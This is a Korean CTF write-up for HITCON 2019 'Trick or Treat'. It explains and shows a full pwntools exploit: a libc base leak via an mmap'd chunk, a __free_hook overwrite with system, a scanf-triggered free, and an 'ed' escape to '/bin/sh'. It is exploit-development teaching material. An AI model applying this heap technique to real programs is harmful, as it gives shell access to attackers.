2019 HITCON CTF ๐ŸŽƒ Trick or Treat ๐ŸŽƒ

  • malloc -> mmap -> libc base leak
  • Free_hook -> system
  • scanf call malloc & free

์›ํ•˜๋Š” ์‚ฌ์ด์ฆˆ๋งŒํผ malloc์— ์ธ์ž๋กœ ํ• ๋‹นํ•  ์ˆ˜ ์žˆ๊ณ  ํ• ๋‹น์„ ์„ฑ๊ณตํ•˜๋ฉด chunk address๋ฅผ leak์ด ๋œ๋‹ค. malloc์„ ํ•  ๋•Œ top chunk ์‚ฌ์ด์ฆˆ๋ณด๋‹ค ํฌ๊ฒŒ ํ• ๋‹นํ•˜๊ฒŒ ๋˜๋ฉด mmap์œผ๋กœ ์ƒˆ๋กœ์šด ์˜์—ญ์— ๋งคํ•‘ํ•ด์„œ ํ• ๋‹นํ•˜๊ฒŒ๋œ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด์„œ libc base ๊ฑฐ๋ฆฌ๊ฐ€ ์ผ์ •ํ•ด์„œ libc base๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๊ฒŒ๋œ๋‹ค. ์ด๊ฒŒ trick์ธ ์ด์œ ๊ฐ€ scanf์— ๊ฐ’์„ ๋งŽ์ด ๋„ฃ๊ฒŒ ๋˜๋ฉด scanf ๋‚ด๋ถ€์—์„œ malloc๊ณผ free๋ฅผ ํ˜ธ์ถœํ•ด์„œ ์ž„์‹œ ๋ฒ„ํผ๋ฅผ ๋งŒ๋“ ๋‹ค. hook์„ ๋ฎ์–ด์„œ system(โ€œedโ€)์„ ๋งŒ๋“ค์–ด์„œ ed๋กœ escapeํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  !/bin/sh๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์‰˜ ๋”ฐ๊ฒŒ ๋œ๋‹ค.

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-2Ch]
  __int128 size; // [rsp+8h] [rbp-28h]
  __int64 v5; // [rsp+18h] [rbp-18h]
  _QWORD *v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  size = 0uLL;
  v5 = 0LL;
  v6 = 0LL;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  write(1, "Size:", 5uLL);
  __isoc99_scanf("%lu", &size);
  v6 = malloc(size);
  if ( v6 )
  {
    printf("Magic:%p\n", v6);
    for ( i = 0; i <= 1; ++i )
    {
      write(1, "Offset & Value:", 0x10uLL);
      __isoc99_scanf("%lx %lx", &size + 8);
      v6[*(&size + 1)] = v5;
    }
  }
  _exit(0);
}

exploit.py

from pwn import *

e = ELF('./trick_or_treat')
p = process('./trick_or_treat')
libc = e.libc

p.sendlineafter('Size:','99999999') # mmap to libc leak
p.recvuntil(':')
leak = int(p.recvline().strip(),16) # chunk address
log.info(hex(leak))
libc_base = leak + 100003824
log.info(hex(libc_base))
free_hook = libc_base + libc.symbols['__free_hook']
log.info(hex(free_hook))
system = libc_base + libc.symbols['system']
log.info(hex(system))
free_hook_offset = (free_hook - leak) / 8
log.info(hex(free_hook_offset))

p.sendlineafter('Offset & Value:',hex(free_hook_offset) + ' ' + hex(system))
p.sendlineafter('Offset & Value:','A'*10000) # scanf call malloc -> free

p.sendline('ed')

p.sendline('!/bin/sh')

p.interactive()